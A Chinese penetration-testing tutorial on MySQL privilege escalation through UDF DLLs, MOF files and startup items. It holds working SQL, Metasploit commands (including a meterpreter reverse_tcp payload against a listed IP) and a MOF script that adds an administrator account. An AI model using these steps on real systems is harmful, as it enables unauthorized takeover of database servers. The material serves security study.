【权限提升】MYSQL提权方法

文章目录

  • udf提权
    • udf原理
    • udf提权操作
  • MOF提权
    • MOF提权原理
    • MOF提权操作
  • 启动项提权

udf提权

udf是用户自定义函数,通过添加新函数对mysql功能进行扩充。

udf原理

其中udf提权在mysql5.1以下版本导入到windows或system目录下,在5.1版本以上将其导入到mysql/lib/plugin目录下,文件后缀为dll。通过引入udf.dll文件,引入自定义函数,执行系统命令。

udf提权操作

udf提权有几个前提条件:
MYSQL数据库没有开启安全模式
已知的数据库账号具有对MySQL数据库insert和delete的权限,最好是root最高权限。
shell有写入到数据库安装目录的权限。
首先通过一系列操作,例如翻配置文件、爆破等方式获取数据库连接账号密码
【权限提升】MYSQL提权方法_第1张图片
导入一个udf.dll
【权限提升】MYSQL提权方法_第2张图片
第一步:
create function sys_eval returns string soname “udf.dll”;
在这里插入图片描述
没什么反应排查了一下原因发现是限制读写文件了,这个值没有具体值的话才可以提权,所以直接更改一下环境
【权限提升】MYSQL提权方法_第3张图片
select * from mysql.func where name = ‘sys_eval’;
【权限提升】MYSQL提权方法_第4张图片
各种调试未复现成功一直报错,这个无所谓了基本就是这么操作
【权限提升】MYSQL提权方法_第5张图片
使用msf尝试一下
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set rhosts 47.102.195.100
run
【权限提升】MYSQL提权方法_第6张图片
发现已经上传成功
在这里插入图片描述
创建绑定函数:create function sys_eval returns string soname “SGEDZafJ.dll”;
【权限提升】MYSQL提权方法_第7张图片
select sys_eval(“whoami”);
【权限提升】MYSQL提权方法_第8张图片
提权成功

MOF提权

MOF提权原理

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。(在windows2008后的权限进行了控制导致无效)

MOF提权操作

将以下代码保存为nullevt.mof文件

#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter
{ 

EventNamespace = "Root\Cimv2"; 

Name  = "filtP2"; 

    Query = "Select \ From __InstanceModificationEvent " 

            "Where TargetInstance Isa \"Win32_LocalTime\" " 

            "And TargetInstance.Second = 5"; 

QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 

    Name = "consPCSV2"; 

ScriptingEngine = "JScript"; 

ScriptText = 

    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; 
}; 

instance of __FilterToConsumerBinding
{ 

    Consumer   = $Consumer; 

    Filter = $EventFilter; 
};

将上面的mof文件导入任意文件夹,mysql查询执行,导致系统自动运行该mof文件创建账号密码
select load_file(‘C:\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
或者使用msf use exploit/windows/mysql/mysql_mof模块直接设置账号密码反弹shell
【权限提升】MYSQL提权方法_第9张图片

这里版本问题,不反弹shell,基本用不上就不搭环境了

启动项提权

原理就是将想执行的命令写入到vbs或者bat文件通过mysql导入到开机自启动目录,服务器重启就可以提权成功
随便写一些添加用户bat
net user wuyifan 1 /add
先看一下用户
【权限提升】MYSQL提权方法_第10张图片
模拟重启
在这里插入图片描述

你可能感兴趣的:(权限提升,渗透测试,安全漏洞,信息安全,网络安全)